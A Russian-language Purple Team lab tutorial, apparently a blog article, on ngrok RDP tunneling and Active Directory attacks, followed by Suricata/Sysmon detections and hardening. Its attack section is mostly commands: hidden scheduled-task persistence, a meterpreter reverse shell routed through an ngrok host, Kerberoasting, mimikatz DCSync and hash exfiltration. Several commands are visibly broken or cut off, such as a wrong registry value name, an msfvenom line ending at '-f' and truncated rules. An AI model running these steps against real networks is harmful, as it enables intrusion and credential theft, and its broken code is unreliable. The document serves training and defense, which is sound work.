

Ngrok RDP Tunneling: Архитектура Purple Team лаборатории, симуляция атак на Active Directory и эшелонированная защита

 redsec.by/article/ngrok-rdp-tunneling-arhitektura-purple-team-laboratorii-simulyaciya-atak-na-active-directory-i-eselonirovannaya-zashita

Red Teams | 24 февраля 2026



В первой части нашего цикла мы детально разобрали боевое применение ngrok для обхода средств защиты периметра (NGFW) и организации скрытых RDP-туннелей к скомпрометированным хостам. Мы выяснили, как легитимные утилиты ломают классические парадигмы защиты и позволяют атакующим получить интерактивный графический доступ в изолированные сегменты сети.

Однако теория и разобранные кейсы мертвы без практического закрепления. Чтобы научиться выявлять (Detect) и предотвращать (Mitigate) подобные векторы атак, команде информационной безопасности (как Red, так и Blue Team) необходим контролируемый полигон — **Purple Team Lab**.

В этом руководстве мы с нуля спроектируем виртуальную инфраструктуру, воссоздадим сценарий компрометации (Post-Exploitation), проведем эскалацию привилегий в Active Directory через проброшенный RDP-туннель и, что самое главное, внедрим технические средства обнаружения (Sysmon, Suricata) для блокировки kill chain на каждом этапе.

Этап 1: Архитектура полигона и базовая инфраструктура (Proxmox VE)

Наша лаборатория будет базироваться на гипервизоре Proxmox (Debian-based), что позволяет гибко управлять сетевыми мостами и маршрутизацией.

Топология сети:

- **Attacker / C2 (Kali Linux):** Внешний узел, имитирующий инфраструктуру злоумышленника.
- **Compromised Host (Windows Server 2022):** Точка первоначального проникновения (Foothold).
- **Domain Controller (Windows Server 2022):** Контроллер домена lab.local, цель атаки.
- **OPNsense / Suricata (опционально):** Корпоративный шлюз для анализа трафика.

Для имитации нахождения Windows-машин за корпоративным NAT (изоляция от прямых входящих подключений извне, но с доступом в интернет для работы ngrok), настроим сетевой мост с маскарadingом на хосте Proxmox.

```
# Конфигурация /etc/network/interfaces на сервере Proxmox
auto vmbr0
iface vmbr0 inet static
    address 192.168.100.1/24
    bridge-ports none
    bridge-stp off
    bridge-fd 0
# Включаем форвардинг пакетов
post-up echo 1 > /proc/sys/net/ipv4/ip_forward
# Настраиваем NAT (замените eno1 на ваш физический интерфейс)
post-up iptables -t nat -A POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE
post-down iptables -t nat -D POSTROUTING -s '192.168.100.0/24' -o eno1 -j MASQUERADE
```

После перезагрузки сети создаем виртуальные машины, подключаем их к интерфейсу vmbr0 и задаем статические IP-адреса:

- Kali Linux (C2): 192.168.100.20
- Windows Server (Victim): 192.168.100.10
- Windows Server (DC): 192.168.100.11

Этап 2: Red Team Operations — Foothold, Туннелирование и Persistence

Представим, что мы уже получили начальный доступ (Initial Access) к 192.168.100.10 через уязвимость в веб-сервисе или фишинг, и у нас есть консольный доступ от имени локального администратора.

2.1. Подготовка плацдарма и запуск туннеля

Первым делом мы включаем RDP на жертве и настраиваем локальный брандмауэр.

```
# Активация Remote Desktop Protocol через изменение реестра
Set-ItemProperty -Path 'HKLM:\System\CurrentControlSet\Control\Terminal Server' -Name 'f' -Value 1

# Разрешение входящих подключений RDP в брандмауэре Windows
Enable-NetFirewallRule -DisplayGroup "Remote Desktop"

# Проверка локального порта
Test-NetConnection -ComputerName localhost -Port 3389
```

Далее загружаем бинарный файл ngrok. Для симуляции мы скачиваем его напрямую, минуя возможные внутренние репозитории.

```
# Загрузка и распаковка утилиты ngrok
Invoke-WebRequest -Uri "https://bin.equinox.io/c/bNyj1mQVY4c/ngrok-v3-stable-windows"
Expand-Archive "$env:TEMP\ngrok.zip" -DestinationPath "C:\ngrok" -Force
Set-Location "C:\ngrok"

# Аутентификация с использованием токена атакующего
.\ngrok.exe config add-authtoken <БАШ_ТОКЕН>
```

Организуем скрытое закрепление (Persistence) с помощью планировщика задач (Task Scheduler). Запуск будет производиться от имени SYSTEM при каждом старте ОС в скрытом режиме окон.

```
# Создание скрытой задачи для проброса порта 3389
$action = New-ScheduledTaskAction -Execute "C:\ngrok\ngrok.exe" -Argument "tcp 3389"
$trigger = New-ScheduledTaskTrigger -AtStartup
Register-ScheduledTask -TaskName "SvcHostTunnel_RDP" -Action $action -Trigger $trigger

# Ручной старт задачи для текущей сессии
Start-ScheduledTask -TaskName "SvcHostTunnel_RDP"
```

2.2. Эксплуатация туннеля со стороны C2 (Kali)

В веб-интерфейсе ngrok (или через локальный API <http://localhost:4040/api/tunnels> на жертве) мы видим выделенный нам эндпоинт, например: `tcp://4.tcp.ngrok.io:12345`.

Переключаемся на Kali Linux. Теперь нам не нужно пробивать корпоративный NAT — мы подключаемся к облаку ngrok.

```
# Установка клиентов для RDP-подключения
sudo apt update && sudo apt install -y remmina remmina-plugin-rdp freerdp2-x11

# Подключение к проброшенному RDP (используем xfreerdp для работы из консоли)
xfreerdp /v:4.tcp.ngrok.io:12345 /u:Administrator /p:Password123 /dynamic-resolution
```

Мы получили графический интерфейс скомпрометированного сервера.

2.3. Интеграция с Metasploit Framework (MITRE T1572: Protocol Tunneling)

Для автоматизации последующих атак нам нужен стабильный Reverse Shell. Мы пробросим еще один туннель для доставки нагрузки MSF.

На Windows машине через полученный RDP запускаем:

```
.\ngrok.exe tcp 4444
```

Пусть этот туннель получил адрес 8.tcp.ngrok.io:54321.

Настраиваем слушатель (Listener) на Kali Linux:

```
msfconsole -q
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
# Указываем LHOST как 0.0.0.0, так как мы слушаем туннель, входящий с серверов ngrok
set LHOST 0.0.0.0
set LPORT 4444
exploit -j
```

Генерируем payload на Kali, где целевым IP указываем **облачный адрес ngrok**:

```
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=8.tcp.ngrok.io LPORT=54321 -f
```

Доставляем beacon.exe на Windows VM и запускаем. Meterpreter-сессия успешно маршрутизируется через облако ngrok прямо в нашу консоль MSF.

Этап 3: Active Directory — Эскалация привилегий и Lateral Movement

Имея foothold и RDP-туннель, мы приступаем к атакам на инфраструктуру lab.local.

3.1. Разведка и атаки на идентификацию (Identity Attacks)

Kerberoasting (T1558.003): Цель — получить хеши билетов TGS для сервисных учетных записей (имеющих SPN). Прямо из PowerShell в RDP-сессии:

```
# Поиск пользователей с установленными SPN
Get-ADUser -Filter * -Properties ServicePrincipalName | Where-Object {$_.ServicePrin
```

Собрав TGS билеты (например, с помощью Invoke-Kerberoast из PowerSploit), мы копируем хеши через буфер обмена RDP на Kali Linux и запускаем оффлайн-брутфорс:

```
hashcat -m 13100 kerberos_hashes.txt /usr/share/wordlists/rockyou.txt -O
```

AS-REP Roasting (T1558.004): Поиск пользователей, у которых отключена предварительная аутентификация Kerberos.

```
# Поиск уязвимых аккаунтов (флаг DONT_REQ_PREAUTH = 4194304)
Get-ADUser -Filter 'userAccountControl -band 4194304' -Properties userAccountControl
```

Аналогично, запрашиваем AS-REP ответы (через Rubeus) и взламываем их на Kali (hashcat -m 18200).

3.2. Компрометация домена и DCSync (T1003.006)

Получив учетные данные администратора домена (Domain Admin), мы выполняем атаку DCSync. Она эмулирует поведение контроллера домена и по протоколу DRSUAPI запрашивает репликацию парольных хешей (NTLM) всех пользователей, включая krbtgt.

```
# Выполнение DCSync через утилиту mimikatz
.\mimikatz.exe "lsadump::dcsync /domain:lab.local /all /csv" "exit" > hashes.txt
```

3.3. Эксфильтрация данных (T1048)

Чтобы выгрузить дампы hashes.txt или NTDS.dit, RDP-буфер может быть медленным. Используем ngrok для поднятия временного HTTP-сервера.

```
# На Windows VM
.\ngrok.exe http 8080
python -m http.server 8080
```

С Kali скачиваем дампы одним curl-запросом через выделенный HTTPS-линк ngrok, обходя системы предотвращения утечек (DLP), так как трафик зашифрован сертификатом *.ngrok.app.

Этап 4: Blue Team Operations — Мониторинг, Харденинг и Сигнатуры

Для Blue Team наша лаборатория — это источник бесценной телеметрии. Переходим к защите инфраструктуры от реализованных векторов.

4.1. Обнаружение RDP туннелирования (T1572)

Сетевой уровень (OPNsense / Suricata / Zeek):

Анализ трафика (Network Traffic Analysis) позволяет выявить ngrok до того, как туннель будет установлен. Мы блокируем домены *.ngrok.io, *.ngrok.com, *.ngrok.app на уровне корпоративного DNS (Pi-Hole/AdGuard) или NGFW.

Правило Suricata для перехвата TLS SNI и специфичных HTTP-запросов ngrok:

```
# Блокировка попыток установки соединения агента ngrok
alert tls $HOME_NET any -> $EXTERNAL_NET 443 (msg:"SOC DETECT Suspicious Ngrok TLS SNI")
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"SOC DETECT Ngrok User-Agent"; ht
```

Системы NDR (Network Detection and Response) должны генерировать алерты при длительных TCP-сессиях на нестандартные высокие порты облачных провайдеров (AS33387 - ngrok).

Уровень конечных точек (EDR / Sysmon):

Устанавливаем Sysmon на Windows Server. Ищем аномалии в дереве процессов и сетевых коннектах. Особенность туннелирования RDP в том, что служба svchost.exe (TermService) принимает подключение от локального порта.

```
<!-- Конфигурация Sysmon для отлова активности ngrok и аномалий RDP -->
<Sysmon schemaversion="4.82">
  <EventFiltering>
    <!-- Отлов запуска процесса ngrok даже при переименовании файла (Event ID 1) -->
    <RuleGroup name="Process_Creation" groupRelation="or">
      <ProcessCreate onmatch="include">
        <OriginalFileName condition="is">ngrok.exe</OriginalFileName>
        <CommandLine condition="contains all">tcp; 3389</CommandLine>
        <CommandLine condition="contains">add-authtoken</CommandLine>
      </ProcessCreate>
    </RuleGroup>

    <!-- Отлов сетевой активности: RDP-служба общается с localhost (Event ID 3) -->
    <RuleGroup name="Network_Connect" groupRelation="or">
      <NetworkConnect onmatch="include">
        <DestinationPort condition="is">3389</DestinationPort>
        <SourceIp condition="is">127.0.0.1</SourceIp>
        <DestinationIp condition="is">127.0.0.1</DestinationIp>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
```

4.2. Защита и харденинг Active Directory

Описанные нами атаки на AD возможны из-за архитектурных слабостей. Их необходимо устранить.

Защита от Kerberoasting:

- Отказ от обычных сервисных учеток в пользу **gMSA (Group Managed Service Accounts)**. Домен сам ротирует сложные 120-символьные пароли для них каждые 30 дней.
- Если использование gMSA невозможно, установить пароли длиной от 25 символов. Оффлайн-брутфорс таких хешей займет тысячелетия.
- **Мониторинг (Event ID 4769)**: Настройте правила SIEM (Splunk/ELK) на аномальные всплески выдачи билетов Kerberos (Ticket Granting Service). Если один пользователь за секунду запрашивает TGS для 50 разных сервисов (service_name: *HTTP* OR *MSSQL*) — это автоматический триггер.

Защита от AS-REP Roasting:

Обязательная проверка всех аккаунтов на наличие отключенной пре-аутентификации.

Принудительное включение пре-аутентификации для всех пользователей

```
Get-ADUser -Filter 'userAccountControl -band 4194304' | Set-ADUser -DoesNotRequirePr
```

4.3. Блокировка Lateral Movement и закрепления

Даже если злоумышленник пробросил туннель, его способность перемещаться по сети должна быть ограничена концепцией Zero Trust.

- **Сегментация RDP:** Через GPO (Group Policy Object) в разделе User Rights Assignment -> Allow log on through Remote Desktop Services должны быть жестко прописаны только группы администраторов. Обычные пользователи не должны иметь возможности заходить по RDP на серверы.
- **Защита локальных администраторов:** Внедрение **LAPS (Local Administrator Password Solution)**. Ротация паролей локального администратора предотвращает атаки типа Pass-the-Hash (PtH) между серверами.
- **Application Control:** Использование AppLocker или Windows Defender Application Control (WDAC) в режиме запрета по умолчанию (Default Deny). Если бинарник ngrok.exe не подписан корпоративным сертификатом, его запуск будет заблокирован на уровне ядра ОС.

Резюме: Purple Team Framework

Для системного подхода к тестированию защищенности мы можем свести проведенные испытания в единую матрицу:

Сценарий Атаки (Tactic)	Инструмент в Lab	Обнаружение (Detection)	Меры защиты (Mitigation)
Ngrok RDP Tunneling	ngrok.exe tcp 3389	Sysmon EID 1, 3; Suricata SNI Alert	Блокировка DNS/Proху, AppLocker, Запрет запуска неподписанного ПО
C2 Protocol Tunneling	Metasploit + ngrok	Zeek/Suricata (Long TCP sessions)	Egress Filtering, SSL/TLS Инспекция трафика
Kerberoasting	Rubeus, PowerSploit	Windows Event ID 4769 (Spikes)	Внедрение gMSA, пароли > 25 символов
Pass-the-Hash (PtH)	xfreerdp /pth	Windows Event ID 4624 (Logon Type 3)	Внедрение Microsoft LAPS, изоляция Tier-0
Persistence	Task Scheduler	Sysmon Event ID 1 (schtasks.exe)	Ограничение прав на создание сервисов/задач через GPO

Развертывание подобной инфраструктуры с использованием Proxmox, Kali и изолированных виртуальных машин позволяет командам ИБ безопасно тестировать разрушительные сценарии. Автоматизация этого процесса (например, с использованием фреймворков Caldera или Invoke-AtomicRedTeam) позволит вам проводить непрерывную валидацию средств защиты (Continuous Security Validation) и быть уверенными, что современные векторы LotL-атак будут обнаружены до того, как злоумышленник получит ключи от контроллера домена.